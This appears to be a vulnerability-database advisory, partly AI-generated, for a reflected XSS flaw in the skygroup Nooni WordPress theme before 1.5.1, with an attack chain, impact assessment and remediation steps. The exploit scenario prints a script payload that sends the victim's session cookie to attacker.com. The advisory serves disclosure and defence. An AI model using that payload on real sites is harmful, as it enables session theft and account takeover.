Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
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AccessCraft malicious URL with XSS payload
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DeliverySend link to victim user
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ExploitVictim clicks link in browser
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ExecutionMalicious script executes in victim's session
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ImpactAttacker steals session cookies or performs actions as user
Vulnerability Assessment
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CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Reflected XSS vulnerability in skygroup Nooni versions before 1.5.1. Attacker crafts malicious URL containing unescaped input. Victim must click the link or visit the page in a web browser. Remote unauthenticated exploitation; no special configuration required. |
| Impact | While a CVSS score is not available for this vulnerability, the attack vector is clearly Network-based and likely has Low attack complexity given the reflected nature of the XSS—no authentication or user interaction complexity is indicated. The EUVD classification and Patchstack reporting indicate this is a confirmed, real vulnerability. Without CVSS or EPSS data, the real-world risk is moderate but should not be underestimated: Reflected XSS vulnerabilities are trivially exploitable and frequently automated by scanning tools. The vulnerability is not listed as actively exploited in known vulnerability databases (KEV status unknown), but this does not diminish the risk for unpatched installations. The primary mitigating factor is that exploitation requires user interaction (victim must click a malicious link), but the technical impact is significant—attackers can steal session cookies, perform actions as the victim, or redirect users to phishing pages. Organizations using Nooni versions below 1.5.1 should prioritize patching this vulnerability immediately. |
| Exploit ScenarioDerived | An attacker crafts a malicious URL containing a JavaScript payload in a query parameter, for example: https://vulnerable-site.com/?search=<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>. The attacker sends this link via email, social engineering, or injects it into forum posts. When a site visitor clicks the link, the Nooni theme renders the page without properly escaping the search parameter, causing the JavaScript to execute in the victim's browser context. The attacker's script silently exfiltrates the victim's session cookies or other sensitive data, enabling account takeover. No proof-of-concept tool is required—this attack pattern is standard among web vulnerabilities and can be launched manually or via automated security scanning tools. |
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Alert meAnalysisAIv1 – Mar 25, 2026
A Reflected Cross-Site Scripting (XSS) vulnerability exists in the skygroup Nooni theme affecting versions prior to 1.5.1, allowing attackers to inject malicious scripts into web pages viewed by users. The vulnerability stems from improper neutralization of user input during web page generation, classified as CWE-79. Attackers can craft malicious URLs containing JavaScript payloads that execute in the context of a victim's browser when the link is visited, potentially leading to session hijacking, credential theft, or malware distribution.
RemediationAI
Upgrade the Nooni theme to version 1.5.1 or later immediately. The patch is available through the official WordPress theme repository or the theme vendor's distribution channel. Until patching is completed, website administrators should implement the following compensating controls: enable WordPress security plugins that filter malicious input patterns, implement a Web Application Firewall (WAF) configured to block common XSS payloads in query parameters, enforce a strict Content Security Policy (CSP) header limiting script execution to trusted sources, and disable the vulnerable theme from receiving traffic by temporarily switching to a patched theme. Additionally, audit access logs for signs of XSS exploitation attempts and consider implementing HTTP-only and Secure flags on session cookies to limit exposure if session hijacking is attempted. Refer to the Patchstack advisory (https://patchstack.com/database/Wordpress/Theme/nooni/vulnerability/wordpress-nooni-theme-1-5-1-reflected-cross-site-scripting-xss-vulnerability) for official patch notes and verification of successful remediation.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
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Technical ContextAI · show details
The Nooni theme (identified via CPE cpe:2.3:a:skygroup:nooni:*:*:*:*:*:*:*:*) is a WordPress theme that fails to properly sanitize and escape user-supplied input before rendering it in HTML responses. This is a classic Reflected XSS vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation), where untrusted data from HTTP request parameters is directly inserted into the page without adequate validation or output encoding. The vulnerability likely affects theme template files that process query parameters, form submissions, or other user-controllable inputs without implementing proper input validation, output encoding, or Content Security Policy (CSP) protections. WordPress themes typically interact with the wp_kses() function for sanitization and esc_html() or similar escaping functions for output, which appear to be missing or improperly applied in affected versions.
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Severity by source
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
Lifecycle Timeline
3DescriptionCVE.org
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in skygroup Nooni nooni allows Reflected XSS.This issue affects Nooni: from n/a through < 1.5.1.
Executive ViewAI
A reflected XSS vulnerability in skygroup Nooni theme versions below 1.5.1 allows attackers to execute malicious scripts in user browsers through crafted URLs, creating risk of session hijacking and credential theft for organizations deploying this theme. This impacts any web properties using affected Nooni versions, requiring immediate user awareness and patching to prevent account compromise.
Apply vendor patch to Nooni theme version 1.5.1 or later. If immediate patching is not possible: implement strict Content Security Policy (CSP) headers to restrict inline script execution, deploy Web Application Firewall (WAF) rules to detect and block suspicious URL parameters, and restrict user access to trusted networks only while patch is pending.
Threat Intelligence Overview
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SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
EUVD-2026-15669
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